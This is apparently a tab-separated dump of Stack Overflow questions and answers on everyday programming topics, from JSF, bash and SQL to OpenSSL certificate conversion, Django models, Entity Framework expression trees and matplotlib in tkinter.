28843910	0	 <p>Basically, in mathematics, there is a concept of "<a href="http://en.wikipedia.org/wiki/Lebesgue_measure" rel="nofollow">Lebesgue Measure</a>". This assigns values to length, area, volume, etc. by manipulating the interval <code>[0,1]</code>.</p> <p>Here's an intituitive explanation. A point at <code>x</code> can be represented as a limiting case of the interval <code>[x,x+h]</code> as <code>h</code> approaches <code>0</code>. The measure of the point, <code>(x+h) - x = h</code> as <code>h</code> approaches <code>0</code> is therefore <code>0</code>.</p> <p>However, if we take a line segment--say, <code>[0,1]</code>--and decompose it into <code>n</code> intervals <code>I[k]</code> with <code>k</code> being over the integers from <code>0</code> to <code>n-1</code>, each will take the form <code>I[k] = [k/n, k/n + 1/n)]</code>. If we let <code>n</code> go to infinity, each of the <code>I[k]</code> can be modeled as a point because <code>1/n</code> is approaching <code>0</code>. If we take the measure of each point, we get <code>1/n</code> as <code>n</code> approaches infinity, or zero. On the other hand, if we sum the measures of the points, we get <code>1/n * n = 1</code>, the measure of <code>[0,1]</code>.</p>
32009931	0	How to update message components associated with <p:commandButton ajax="false">? <p>I need your assistant in updating the <code>&lt;p:message&gt;</code> component in a JSF page once the non-ajax <code>&lt;p:commandButton&gt;</code> is clicked. Currently in the case, I need to validate if the employee number is null, then show the error message in the message component, else, nothing to be shown. But now,the form is not showing anything once the <code>&lt;p:commandButton&gt;</code> is clicked.</p> <p>Below is the JSF code:</p> <pre><code>&lt;h:form id="form"&gt; &lt;p:inputText value="#{pdf.refNo}"/&gt; &lt;p:message id="message" for=":form:cmd2" showDetail="true"/&gt; &lt;p:commandButton id="cmd2" value="Validate" ajax="false" actionListener="#{pdf.validate}"/&gt; &lt;/h:form&gt; </code></pre> <p>And the Java bean is:</p> <pre><code>public void validate() { if (refNo.equals("") || refNo == null) { FacesContext.getCurrentInstance().addMessage(":form:cmd2", new FacesMessage(FacesMessage.SEVERITY_ERROR, "Error!", "Please enter the Employee No.")); } } </code></pre> <p>So is the above code is correct and how to show the message once the button is clicked?</p>
217275	0	 <p>Use <code>==</code> on objects to perform identity comparison.</p> <p>That is what the default implementation of <code>equals()</code> does, but one normally overrides <code>equals()</code> to serve as an "equivalent content" check.</p>
14192355	0	 <p>As already mentioned, you can instruct <code>RAND</code> to generate numbers directly as single precision, and it's definitely best to generate the numbers in a decent sized chunk. If you still need more performance, and you have Parallel Computing Toolbox and a supported NVIDIA GPU, the <code>gpuArray.rand</code> function can be even faster, especially if you select the philox generator like so:</p> <pre><code>parallel.gpu.RandStream('Philox4x32-10') </code></pre>
21486408	0	How to merge xml app.config files outside of the build process <p>I would like to use app.config files for settings, but I don't want to have to select different build configurations to select which settings to use, I would rather everything build in release and then just the app.config file be different when the application is deployed.</p> <p>What is a good way to merge two xml files together so that I can deploy the correct settings to the correct environment? I have found several solutions that are based on selecting different build configurations and the transform happens at build time, but I want the transform to just be from a command line utility that my deploy script can run</p>
26002460	0	 <p>I would not have them answer "Yes" then type in the new value. Just have them type in the new value if they want one, or leave it blank to accept the default.</p> <p>This little function lets you set multiple variables in one call:</p> <pre><code>function confirm() { echo "Confirming values for several variables." for var; do read -p "$var = ${!var} ... leave blank to accept or enter a new value: " case $REPLY in "") # empty use default ;; *) # not empty, set the variable using printf -v printf -v "$var" "$REPLY" ;; esac done } </code></pre> <p>Used like so:</p> <pre><code>$ foo='foo_default_value' $ bar='default_for_bar' $ confirm foo bar Confirming values for several variables. foo = foo_default_value ... leave blank to accept or enter a new value: bar bar = default_for_bar ... leave blank to accept or enter a new value: foo=[bar], bar=[default_for_bar] </code></pre> <p>Of course, if blank can be a default, then you would need to account for that, like @jm666 use of <code>read -i</code>.</p>
8190868	0	 <p>I am using the same book and had the same issue, I remove Ruby 1.9.3-p0 and install Ruby 1.9.2-p290, it is working now</p>
23967955	0	 <p>use the following function</p> <pre><code>left(@test, charindex('/', @test) - 2) </code></pre>
3562303	0	 <p>To hav transparency, you need an alpha channel, on your texture, but more important, in your framebuffer. This is done with SDL_GL_SetAttribute, for example:</p> <pre><code>SDL_GL_SetAttribute( SDL_GL_RED_SIZE, 8 ); SDL_GL_SetAttribute( SDL_GL_GREEN_SIZE, 8 ); SDL_GL_SetAttribute( SDL_GL_BLUE_SIZE, 8 ); SDL_GL_SetAttribute( SDL_GL_ALPHA_SIZE, 8 ); </code></pre> <p>This will request a framebuffer with at least those sizes, and you'll be able to use blending. Remember to enable blending and set a blending function.</p>
19209924	0	 <p>I have been working on a vim plugin for android development: <a href="https://github.com/hsanson/vim-android" rel="nofollow">https://github.com/hsanson/vim-android</a>. Still work in progress but it has most functionality needed for android development using vim.</p> <p>I still have some issues to solve but most are not related to the plugin:</p> <ul> <li>Gradle errors from aapt report the wrong file. This makes jumping to the error from the quickfix window a pain as it opens the wrong file.</li> <li>I cannot make javacomplete work correctly. When auto completing a class I wrote it gets stuck in "Searching..." and when auto completing a library or external JAR method javacomplete spits hundreds of errors making it impossible to use.</li> </ul>
39262726	0	 <p><strong>XLS</strong> is either a typo for <strong>XSL</strong> or a reference to Microsoft's <a href="https://products.office.com/en-us/excel" rel="nofollow">Excel</a> spreadsheet <a href="https://en.wikipedia.org/wiki/Microsoft_Excel#File_formats" rel="nofollow">format</a>.</p> <p><strong>XSL</strong> <a href="https://www.w3.org/Style/XSL/" rel="nofollow">refers</a> to a family of W3C recommendations related to XML transformation and presentation:</p> <ul> <li><strong><a href="https://www.w3.org/TR/xslt" rel="nofollow">XSLT</a></strong>: A language for transforming XML documents.</li> <li><strong><a href="https://www.w3.org/TR/xpath/" rel="nofollow">XPath</a></strong>: A language for addressing parts of an XML document.</li> <li><strong><a href="https://www.w3.org/TR/xsl/" rel="nofollow">XSL-FO</a></strong>: An XML vocabulary for specifying formatting.</li> </ul>
36605426	0	 <blockquote> <p>So, if now i need to make a ssl request i will have to use HttpsURLConnection (?) and create a request.</p> <p>My question is -How does HttpsURLConnection know about the encryption algorithm and then encrypts using that?</p> </blockquote> <p>Yes you have to use HttpsURLConnection. But you dont have to do it explicitly. <code>new URL("https://google.pl").openConnection();</code> is more then enough.</p> <p>In Server Hello, server anounces what encrypiton it can accept. All encryption methods have to "announce" themselves so the server knows how to interpret them. So when you initiatle the connection, servers says what it can handle, client choose one of the cipers and ciper the data using it. At the beginning of the connection, client announces what suite will it use.</p> <p>This information can be public to this is not a problem that this is sent as plaintext. The point is, to exchange the symetric key between client in server in private way, so the rest of communication can be ciphered usint that key.</p> <blockquote> <p>How is session maintained? How does HttpsURLConnection know that this connection has already been initiated and handshake procedures have already been completed?</p> </blockquote> <p>Well SSL stands for Secure Socket Layer. It means that data transmit and received is ciphered, decrypted on raw socket(streams) level; You can open SSL connection to transmit data from point to point not only via Https</p> <p>There is no "session". As long as you open a connection, you got 2 streams. Input and Output. As long as those are open, you can write data or read from them. Once they are closed, you will have to initiate another connection.</p> <p>Every Http request is a new connection (unless Keep-Alive is sent). JsessionId for example, or php's sessionid is to identity that you are the same client that made requests earlier so it can "simulate" constant connection.</p>
10038683	0	 <p>I got some tips from the internet, and following is the steps to get iOS acceptable p12 key and certification file:</p> <ol> <li><p>convert XML to PEM<br> Shell> compile XMLSpec2PEM.java<br> Shell> XMLSpec2PEM rsa.xml<br> save the output result to rsa.pem<br> (borrow from <a href="http://www.platanus.cz/blog/converting-rsa-xml-key-to-pem" rel="nofollow">here</a>)</p></li> <li><p>convert PEM to RSA Private Key<br> OpenSSL> rsa -in rsa.pem -out rsaPrivate.key</p></li> <li><p>Generate a certification request<br> OpenSSL> req -new -key rsaPrivate.key -out rsaCertReq.crt<br> (input some basic certification data)<br></p></li> <li><p>Sign certification of the request<br> OpenSSL> x509 -req -days 3650 -in rsaCertReq.crt -signkey rsaPrivate.key -out rsaCert.crt<br></p></li> <li><p>Convert the certification file format to DER (iOS acceptable format)<br> OpenSSL> x509 -outform der -in rsaCert.crt -out rsaCert.der<br></p></li> <li><p>Generate PKCS12 Private key(iOS acceptable format)<br> OpenSSL> pkcs12 -export -out rsaPrivate.pfx -inkey rsaPrivate.key -in rsaCert.crt<br></p></li> </ol> <p>No further steps, files generated in step 5 and 6 now can be used in iOS!</p> <p>reference of OpenSSL instructions:<br> <a href="http://blogs.yaclife.com/?tag=ios%E3%80%80seckeyref%E3%80%80raw%E3%80%80key%E3%80%80rsa%E3%80%803des" rel="nofollow">http://blogs.yaclife.com/?tag=ios%E3%80%80seckeyref%E3%80%80raw%E3%80%80key%E3%80%80rsa%E3%80%803des</a></p> <p><a href="http://devsec.org/info/ssl-cert.html" rel="nofollow">http://devsec.org/info/ssl-cert.html</a></p>
31124220	0	 <p>As @Warren pointed out, anderson_ksamp is not available in scipy version .12.1. It is a relatively new addition to scipy.</p> <p>I'm <strong>not</strong> a fedora user. That said, it sounds like installing scipy using pip is your best bet. </p> <p><strong>Step one:</strong> install dependencies. Check Muneeb's answer for information on how to <a href="http://stackoverflow.com/questions/7496547/does-python-scipy-need-blas">install blas and lapack on fedora.</a> It should be as simple as:</p> <blockquote> <p>sudo yum install lapack lapack-devel blas blas-devel</p> </blockquote> <p><strong>Step two:</strong> install scipy using pip. </p> <blockquote> <p>sudo pip install --upgrade scipy</p> </blockquote> <p>This process will take a long time. Get lunch. You should have a working copy of scipy when you get back.</p> <p><em>Note, if you don't have pip, run the following command:</em></p> <blockquote> <p>sudo yum install python-pip</p> </blockquote>
1201230	0	SharePoint > Custom Page-Library & PageLayout <p>I have a custom page-library which a custom content-type and a page-layout all inside a site-definition. </p> <p>Works as expected. The only thing I cannot get around is that if I upgrade the solution with the page-lib, ctype, page-layout via stsadm everything is updated except the page-layout.</p> <p>New fields in the ctype --> no problem Changed views in the page-lib --> no problem</p> <p>Updated PageLayout --> ERROR</p> <p>The page-layout section:</p> <pre><code>&lt;!-- specific page-layout to display LKW data --&gt; &lt;File Url="CustomPage.aspx" Type="GhostableInLibrary" IgnoreIfAlreadyExists="TRUE" &gt; &lt;Property Name="Title" Value="$Resources:CustomLayouts,Title;" /&gt; &lt;Property Name="MasterPageDescription" Value="$Resources:cmscore,PageLayout_BlankWebPartPage_Description;" /&gt; &lt;Property Name="ContentType" Value="$Resources:cmscore,contenttype_pagelayout_name;" /&gt; &lt;Property Name="PublishingPreviewImage" Value="~SiteCollection/_catalogs/masterpage/$Resources:core,Culture;/Preview Images/BlankWebPartPage.png, ~SiteCollection/_catalogs/masterpage/$Resources:core,Culture;/Preview Images/BlankWebPartPage.png" /&gt; &lt;Property Name="PublishingAssociatedContentType" Value=";#$Resources:FieldsCTypes,cTypeDisplayName;;#0x010100C568DB52D9D0A14D9B2FDCC96666E9F2007948130EC3DB064584E219954237AF3900D38AAFB8072F441984BC947D49503947;#" /&gt; &lt;/File&gt; </code></pre> <p>The relevant section in the onet.xml:</p> <pre><code>&lt;Module Name="Home" Url="$Resources:cmscore,List_Pages_UrlName;Custom" Path=""&gt; &lt;File Url="Default.aspx" Type="GhostableInLibrary" IgnoreIfAlreadyExists="TRUE"&gt; &lt;Property Name="Title" Value="$Resources:Layouts,DisplayName;" /&gt; &lt;Property Name="ContentType" Value="$Resources:cmscore,contenttype_welcomepage_name;"/&gt; &lt;Property Name="PublishingPageLayout" Value="~SiteCollection/_catalogs/masterpage/CustomPage.aspx, $Resources:PalfingerPlatformsOrderRoot,LKWpageDefaultTitle;" /&gt; &lt;Property Name="PublishingPageContent" Value="" /&gt; &lt;/File&gt; &lt;/Module&gt; </code></pre> <p>The strange thing is, if I just have a page-layout with no underlying page-library I can update the page-ayout. The problem only occurs if I use a custom page-layout inside a custom page-library.</p> <p>I did some Google search and found a hint - the problem could be that the page-layout is unghosted. I checked this with a small sample code:</p> <pre><code>SPFile file = folder.Files["Default.aspx"]; if (file.CustomizedPageStatus == SPCustomizedPageStatus.Customized) { file.RevertContentStream(); } </code></pre> <p>After executing the code the Page-Layout is upgraded and uses the new page-layout.</p> <p>The Problem is that this is no real solution for me because I have approx. 1000 site-collections using the site-def. and the page-layout. Updating all of them is quite painful. Does anybody know a solution for this?</p>
13840672	0	 <p>check this .... it's good article it will help u <a href="http://www.androidaspect.com/2012/09/android-webview-tutorial.html" rel="nofollow">http://www.androidaspect.com/2012/09/android-webview-tutorial.html</a></p>
5601412	0	 <p>It's actually doing exactly what it should. <a href="http://msdn.microsoft.com/en-us/library/yw97w238.aspx" rel="nofollow"><code>Server.Execute()</code></a> basically will insert the second page's content into the first page, including ViewState.</p> <p>To remedy your problem, are you able to disable ViewState on the page that's being called (demo.aspx)?</p> <pre><code>&lt;%@ Page Language="C#" EnableViewState="false" CodeBehind="demo.aspx.cs" </code></pre>
7262750	0	 <p>Assuming that <code>listings</code> is indexed on id:</p> <p>If your id is an integer:</p> <pre><code>SELECT listings.id, listings.price, listings.seller_id, sellers.blacklisted FROM listings INNER JOIN sellers ON sellers.id = listings.sellers_id WHERE listings.price &gt; 100 AND sellers.blacklisted = 0 AND listings.ID LIKE CONCAT(CEIL(RAND() * 100),'%') LIMIT 4 </code></pre> <p>and if it's ascii</p> <pre><code>SELECT listings.id, listings.price, listings.seller_id, sellers.blacklisted FROM listings INNER JOIN sellers ON sellers.id = listings.sellers_id WHERE listings.price &gt; 100 AND sellers.blacklisted = 0 AND listings.ID LIKE CONCAT(CHAR(CEIL(RAND() * 100)),'%') LIMIT 4 </code></pre> <p>basically my advice to speed things up is dump the order by. On anything over a few records you're adding measurable overhead.</p> <p>ps please forgive me if concat can't be used this way in mqsql; not entirely certain whether it'll work.</p>
15527578	0	Generate dynamic select lambda expressions <p>I am somewhat new to expression trees and I just don't quite understand some things.</p> <p>What I need to do is send in a list of values and select the columns for an entity from those values. So I would make a call something like this:</p> <pre><code>DATASTORE&lt;Contact&gt; dst = new DATASTORE&lt;Contact&gt;();//DATASTORE is implemented below. List&lt;string&gt; lColumns = new List&lt;string&gt;() { "ID", "NAME" };//List of columns dst.SelectColumns(lColumns);//Selection Command </code></pre> <p>I want that to be translated into code like this (<code>Contact</code> is an entity using the EF4):</p> <pre><code>Contact.Select(i =&gt; new Contact { ID = i.ID, NAME = i.NAME }); </code></pre> <p>So let's say I have the following code:</p> <pre><code>public Class&lt;t&gt; DATASTORE where t : EntityObject { public Expression&lt;Func&lt;t, t&gt;&gt; SelectColumns(List&lt;string&gt; columns) { ParameterExpression i = Expression.Parameter(typeof(t), "i"); List&lt;MemberBinding&gt; bindings = new List&lt;MemberBinding&gt;(); foreach (PropertyInfo propinfo in typeof(t).GetProperties(BindingFlags.Public | BindingFlags.Instance)) { if (columns.Contains(propinfo.Name)) { MemberBinding binding = Expression.Bind(propinfo, Expression.Property(i, propinfo.Name)); bindings.Add(binding); } } Expression expMemberInit = Expression.MemberInit(Expression.New(typeof(t)), bindings); return Expression.Lambda&lt;Func&lt;t, t&gt;&gt;(expMemberInit, i); } </code></pre> <p>When I ran the above code I got the following error: </p> <blockquote> <p><em>The entity or complex type 'Contact' cannot be constructed in a LINQ to Entities query.</em></p> </blockquote> <p>I looked at the body of the query and it emitted the following code:</p> <pre><code>{i =&gt; new Contact() {ID = i.ID, NAME = i.NAME}} </code></pre> <p>I am pretty sure that I should be able to construct the a new entity because I wrote this line explicitly as a test to see if this could be done:</p> <pre><code>.Select(i =&gt; new Contact{ ID = i.ID, NAME = i.NAME }) </code></pre> <p>This worked, but I need to construct the select dynamically.</p> <p>I tried decompiling a straight query(first time I have looked at the low level code) and I can't quite translate it. The high level code that I entered is:</p> <pre><code>Expression&lt;Func&lt;Contact, Contact&gt;&gt; expression = z =&gt; new Contact { ID = z.ID, NAME = z.NAME }; </code></pre> <p>Changing the framework used in the decompiler I get this code:</p> <pre><code>ParameterExpression expression2; Expression&lt;Func&lt;Contact, Contact&gt;&gt; expression = Expression.Lambda&lt;Func&lt;Contact, Contact&gt;&gt; (Expression.MemberInit(Expression.New((ConstructorInfo) methodof(Contact..ctor), new Expression[0]), new MemberBinding[] { Expression.Bind((MethodInfo) methodof(Contact.set_ID), Expression.Property(expression2 = Expression.Parameter(typeof(Contact), "z"), (MethodInfo) methodof(Contact.get_ID))), Expression.Bind((MethodInfo) methodof(Contact.set_NAME), Expression.Property(expression2, (MethodInfo) methodof(Contact.get_NAME))) }), new ParameterExpression[] { expression2 }); </code></pre> <p>I have looked several places to try and understand this but I haven't quite gotten it yet. Can anyone help?</p> <p>These are some places that I have looked:</p> <ul> <li><a href="http://blogs.msdn.com/b/meek/archive/2008/04/25/using-linq-expressions-to-generate-dynamic-methods.aspx" rel="nofollow">msdn blog</a> -- This is exactly what I want to do but my decopiled code soes not have Expression.Call.</li> <li><a href="http://msdn.microsoft.com/en-us/library/bb301790.aspx" rel="nofollow">msdn MemberInit</a></li> <li><a href="http://msdn.microsoft.com/en-us/library/bb348662.aspx" rel="nofollow">msdn Expression Property</a></li> <li><a href="http://stackoverflow.com/questions/1531934/entity-framework-only-get-specific-columns">stackoverflow EF only get specific columns</a> -- This is close but this seems like it is doing the same thing as if i just use a select off of a query.</li> <li><a href="http://stackoverflow.com/questions/2719762/lambda-expression-to-be-used-in-select-query">stackoverflow lambda expressions to be used in select query</a> -- The answer here is exactly what I want to do, I just don't understand how to translate the decompiled code to C#.</li> </ul>
10707169	0	 <p>I had this exact problem today, while making a sample project for another SO answer! It looks like your xib is trying to connect an outlet to your view controller instead of your cell. In your screenshot, the outlets look correctly defined, but occasionally an old outlet definition can get left in the underlying XML and cause this type of crash. </p> <p>If you've changed the files owner class after connecting some outlets, for example, this could confuse it. </p> <p>You may be able to find it by opening the xib as "source code", look for the element and check there are only the entries you expect. Perhaps search the XML file for <code>albumLabel</code> as well. </p> <p>If that doesn't work, you may have to scrap the xib and start again. </p>
2610081	0	 <p>None that I'm aware of. However, you can call Java from C++. That will let you use BCEL from C++. If you're on one of gcj's supported platforms, you could try using it to compile BCEL to native code.</p>
9351921	0	Change Combobox via Textbox Input VB.NET <p>Hi I need some help over here... how do i change the display member of a ComboBox after i have entered a code in a textbox that it represent the combobox value??</p> <p>example</p> <p>Code: 02-001 Combobox: Provider X</p> <p>if i change the code the provider combobox must change and if i change the provider combobox the code should change!.. i haven't found any help.. heres little code I remember</p> <pre><code>if e.keychar = chr(13) Then combobox.valuemember = textbox.text combobox.displaymember = me.stockdataset.selectprovider(@textbox.text) end if </code></pre> <p>this code change the combo box display member but if I change the comobox by clicking it the code on the textbox doesnt change, to its corresponding code...?? please help</p> <p>....the combo box is bound to the provider tables....</p>
3566034	0	 <p>The default behavior of ViewSwitcher, as inherited by ViewAnimator, is to consider all child views on layout, which will result in the ViewSwitcher occupying the space of the largest child.</p> <p>To change this, all you need to do is to set the MeasureAllChildren flag to false. This will make the layout pass ignore the child view that is currently hidden. Set this flag e.g. in the onCreate method of the activity, e.g.:</p> <pre><code> ViewSwitcher switcher = (ViewSwitcher)findViewById(R.id.ViewSwitcher); switcher.setMeasureAllChildren(false); </code></pre> <p>XML example:</p> <pre><code>&lt;ViewSwitcher xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/viewSwitcher" android:measureAllChildren="false"&gt; &lt;/ViewSwitcher&gt; </code></pre>
24219023	0	 <p>Use %0a , it might be helpful.</p> <p>Reference :<a href="http://www.twilio.com/help/faq/sms/how-do-i-add-a-line-break-in-my-sms-message" rel="nofollow">http://www.twilio.com/help/faq/sms/how-do-i-add-a-line-break-in-my-sms-message</a></p>
23704155	0	 <p>You're referencing the root of the XML document, that's why only the data from the first element is being read. Get rid of the <code>//</code> in your call to <code>SelectSingleNode</code>:</p> <pre><code> currentBox.Compliment = currentBoxNode.SelectSingleNode("compliment").InnerText; currentBox.Description = currentBoxNode.SelectSingleNode("description").InnerText; currentBox.BoxType = currentBoxNode.SelectSingleNode("boxtype").InnerText; currentBox.InsideLength = decimal.Parse(currentBoxNode.SelectSingleNode("il").InnerText); currentBox.InsideBreadth = decimal.Parse(currentBoxNode.SelectSingleNode("ib").InnerText); currentBox.InsideHeight = decimal.Parse(currentBoxNode.SelectSingleNode("ih").InnerText); currentBox.OutsideLength = decimal.Parse(currentBoxNode.SelectSingleNode("ol").InnerText); currentBox.OutsideBreadth = decimal.Parse(currentBoxNode.SelectSingleNode("ob").InnerText); currentBox.OutsideHeight = decimal.Parse(currentBoxNode.SelectSingleNode("oh").InnerText); currentBox.BoxWeight = decimal.Parse(currentBoxNode.SelectSingleNode("bw").InnerText); currentBox.BoxGrossWeight = decimal.Parse(currentBoxNode.SelectSingleNode("bgw").InnerText); currentBox.BoxStrength = int.Parse(currentBoxNode.SelectSingleNode("boxstrength").InnerText); </code></pre> <p>You can also use ./ to indicate current context:</p> <pre><code>currentBox.Compliment = currentBoxNode.SelectSingleNode("./compliment").InnerText; ... </code></pre>
3667773	0	 <p>One possibility: Use an xhtml parser that fixes malformed xhtml. One such library is libxml2. Then use the library to locate and remove empty p tags.</p>
29066247	0	Converting local numbers into international format (for use with Rails and services such as Nexmo/Twilo) <p>I want to verify my users phone numbers using a service such as Nexmo or Twilo.</p> <p>To send a message via these services I need to supply the international number, however, I do not want to have to ask my users to provide the full international number - just their normal number that they would give to anyone in their own country (I don't expect them to know their international dialling codes, etc).</p> <p>So what is the best way to convert a local national number into an international one? As well as their number, each user will be asked to provide their country. (My user base will be international.)</p> <ul> <li><p>Should I add an extra field to the Country table that holds the international dialling code - and then just construct the full international number? This seems ok until you consider that some countries require omitting the 0 at the start of the number, and others don't.</p></li> <li><p>Is there an easier way? Or gem out there that does this? </p></li> </ul>
37337715	0	 <p><a href="https://3v4l.org/ZRenf" rel="nofollow">Online Check</a>, This is just a demo example.</p> <p>See below the real example:</p> <p>At first you need to use <code>array_search</code> for get the position of the same data, if exist then just remove it using <code>$arr[$pos] = '';</code>, and each and every time you need to import data into the new array called <code>$arr</code> and after completing fetching data you need to use a foreach loop to print them.</p> <pre><code>$arr = array(); foreach($query-&gt;result() as $row){ $pos = array_search($row-&gt;name, $arr); if($pos !== false) $arr[$pos] = ''; $arr[] = $row-&gt;name; } foreach($arr as $val){ echo $val.'&lt;br/&gt;'; } </code></pre> <p>Check this and let me know.</p>
3748538	0	Getting warning from C math library's pow function <p>I have the following function in my code:</p> <pre><code>int numberOverflow(int bit_count, int num, int twos) { int min, max; if (twos) { min = (int) -pow(2, bit_count - 1); \\ line 145 max = (int) pow(2, bit_count - 1) - 1; } else { min = 0; max = (int) pow(2, bit_count) - 1; \\ line 149 } if (num &gt; max &amp;&amp; num &lt; min) { printf("The number %d is too large for it's destination (%d-bit)\n", num, bit_count); return 1; } else { return 0; } } </code></pre> <p>At compile time I get the following warning:</p> <pre><code>assemble.c: In function ‘numberOverflow’: assemble.c:145: warning: incompatible implicit declaration of built-in function ‘pow’ assemble.c:149: warning: incompatible implicit declaration of built-in function ‘pow’ </code></pre> <p>I'm at a loss for what is causing this... any ideas?</p>
3988672	0	 <p>The freezing is due to the fact you are trying to change your progress bar contained on the UI thread from your worker thread. I would recommend raising an event from within your worker Progress function to a handler on the UI thread. You will need to marshall the call to the handler on the thread as below. </p> <pre><code>private object _lock = new object(); //should have class scope private void ShowProgressControl(EventArgs e) { if (this.InvokeRequired) { lock (_lock) { EventHandler d = new EventHandler(ShowProgressControl); this.Invoke(d, new object[] { e }); return; } } else { //Show your progress bar. } } </code></pre> <p>Enjoy!</p>
18776688	0	 <p>When catch exceptions I usually find that more specific is better, that being said typing out all of those different blocks that do the same thing can get really annoying. Thankfully in the Java 7 release a try-catch notation was added where you can specific <em>multiple</em> exceptions for a single block:</p> <pre><code>try{ //some statements } catch (KeyStoreException | CertificateException | NoSuchAlgorithmException | FileNotFoundException | IOException | UnrecoverableKeyException | NoPropertyFoundException e) { LOGGER.error(e); } </code></pre> <p>This sounds like what you are looking for, but there is more detailed information in the Oracle docs: <a href="http://docs.oracle.com/javase/7/docs/technotes/guides/language/catch-multiple.html" rel="nofollow">http://docs.oracle.com/javase/7/docs/technotes/guides/language/catch-multiple.html</a></p>
3376479	1	Django object extension / one to one relationship issues <p>Howdy. I'm working on migrating an internal system to Django and have run into a few wrinkles.</p> <p><b>Intro</b><br> Our current system (a billing system) tracks double-entry bookkeeping while allowing users to enter data as invoices, expenses, etc.</p> <p><b>Base Objects</b><br> So I have two base objects/models:</p> <ul><li>JournalEntry <li>JournalEntryItems </ul> <p>defined as follows:</p> <pre> class JournalEntry(models.Model): gjID = models.AutoField(primary_key=True) date = models.DateTimeField('entry date'); memo = models.CharField(max_length=100); class JournalEntryItem(models.Model): journalEntryID = models.AutoField(primary_key=True) gjID = models.ForeignKey(JournalEntry, db_column='gjID') amount = models.DecimalField(max_digits=10,decimal_places=2) </pre> <p>So far, so good. It works quite smoothly on the admin side (inlines work, etc.)</p> <p><b>On to the next section.</b><br> We then have two more models</p> <ul><li>InvoiceEntry <li>InvoiceEntryItem </ul> <p>An InvoiceEntry is a superset of / it inherits from JournalEntry, so I've been using a OneToOneField (which is what we're using in the background on our current site). That works quite smoothly too.</p> <pre> class InvoiceEntry(JournalEntry): invoiceID = models.AutoField(primary_key=True, db_column='invoiceID', verbose_name='') journalEntry = models.OneToOneField(JournalEntry, parent_link=True, db_column='gjID') client = models.ForeignKey(Client, db_column='clientID') datePaid = models.DateTimeField(null=True, db_column='datePaid', blank=True, verbose_name='date paid') </pre> <p>Where I run into problems is when trying to add an InvoiceEntryItem (which inherits from JournalEntryItem) to an inline related to InvoiceEntry. I'm getting the error:</p> <pre> &lt;class 'billing.models.InvoiceEntryItem'&gt; has more than 1 ForeignKey to &lt;class 'billing.models.InvoiceEntry'&gt; </pre> <p>The way I see it, InvoiceEntryItem has a ForeignKey directly to InvoiceEntry. And it also has an indirect ForeignKey to InvoiceEntry through the JournalEntry 1->M JournalEntryItems relationship.</p> <p>Here's the code I'm using at the moment.</p> <pre> class InvoiceEntryItem(JournalEntryItem): invoiceEntryID = models.AutoField(primary_key=True, db_column='invoiceEntryID', verbose_name='') invoiceEntry = models.ForeignKey(InvoiceEntry, related_name='invoiceEntries', db_column='invoiceID') journalEntryItem = models.OneToOneField(JournalEntryItem, db_column='journalEntryID') </pre> <ol> <li><p>I've tried removing the journalEntryItem OneToOneField. Doing that then removes my ability to retrieve the dollar amount for this particular InvoiceEntryItem (which is only stored in journalEntryItem).</p></li> <li><p>I've also tried removing the invoiceEntry ForeignKey relationship. Doing that removes the relationship that allows me to see the InvoiceEntry 1->M InvoiceEntryItems in the admin inline. All I see are blank fields (instead of the actual data that is currently stored in the DB).</p></li> </ol> <p>It seems like option 2 is closer to what I want to do. But my inexperience with Django seems to be limiting me. I might be able to filter the larger pool of journal entries to see just invoice entries. But it would be really handy to think of these solely as invoices (instead of a subset of journal entries).</p> <p>Any thoughts on how to do what I'm after?</p>
16874373	0	How do I declare a string as a user input, then check to see if it's "yes" or "no"? (JAVA) <p>I cannot get my program to take a user input as a string and then see if it equals "yes" or "no" and if it equals neither, then to display "incorrect entry." It always displays "incorrect entry" regardless if I type "yes" or "no." I have tried a few different types of if and do/while's but I just can't seem to get it: </p> <p>Class file: </p> <pre><code>import java.util.Scanner; public class PhysicsProblem { private double vI; // initial velocity private double vF; // final velocity private double t; // time private double deltaX; // change in the x value //Make sure to add acceleration public PhysicsProblem (double vI, double vF, double t, double deltaX) { this.vI = vI; this.vF = vF; this.t = t; this.deltaX = deltaX; } public void setVi(String strVi) { while (!(strVi.equals("no") || strVi.equals("yes"))); { System.out.println("incorrect entry"); } if (strVi.equals("yes")) { System.out.println("Enter the initial velocity: "); vI = new Scanner(System.in).nextDouble(); } if (strVi.equals("no")) { System.out.println("The program is assuming you want to solve" + "for intial velocity"); } } </code></pre> <p>Program: </p> <p>import java.util.Scanner;</p> <pre><code>public class PhysicsProblemSolver { public static void main (String[] args) { double vI = 0; double vF = 0; double t = 0; double deltaX = 0; Scanner scan = new Scanner(System.in); PhysicsProblem problem1 = new PhysicsProblem (vI, vF, t, deltaX); // Checks to see if initial velocity is given System.out.println("Do you know the initial velocity? (Type 'yes' or 'no')"); String strVi = scan.next(); problem1.setVi(strVi); </code></pre> <p>I know it looks like an incomplete program, and it is, but I just needed help with this one section, so I tried not to include the unnecessary parts. Sorry if it's confusing!</p>
7575471	0	Assigning issue with numpy structured arrays <p>I was trying this simple line of assigning codes to a structured array in numpy, I am not quiet sure, but something wrong happens when I assign a matrix to a sub_array in a structured array I created as follows:</p> <pre><code>new_type = np.dtype('a3,(2,2)u2') x = np.zeros(5,dtype=new_type) x[1]['f1'] = np.array([[1,1],[1,1]]) print x Out[143]: array([('', [[0, 0], [0, 0]]), ('', [[1, 0], [0, 0]]), ('', [[0, 0], [0, 0]]), ('', [[0, 0], [0, 0]]), ('', [[0, 0], [0, 0]])], dtype=[('f0', '|S3'), ('f1', '&lt;u2', (2, 2))]) </code></pre> <p>Shouldn't the second field of the subarray equals at this stage</p> <pre><code>[[1,1],[1,1]] </code></pre>
23318515	0	update a matplotlib figure from another class <p>How can I update a matplotlib figure that is a child of a frame in another class in tkinter? Here is where I am stuck.</p> <pre><code>class A(): def__init__(self, master): sframe = Frame(master) sframe.pack(side=RIGHT) f = Figure(figsize=(3,2), dpi=100) a = f.add_subplot(122); # initially plots a sine wave t = arange(0.0, 1, 0.01); s = sin(2*pi*t); a.plot(t,s); canvas = FigureCanvasTkAgg(f, master=sframe) canvas.show() canvas.get_tk_widget().pack(side=TOP, fill=BOTH, expand=1) # now i create the other object that will call show() data_obj = B(sframe) class B(): ... show(self, frame): _wlist = frame.winfo_children() for item in _wlist: item.clear() # or something like this # and then re-plot something or update the current plot </code></pre>
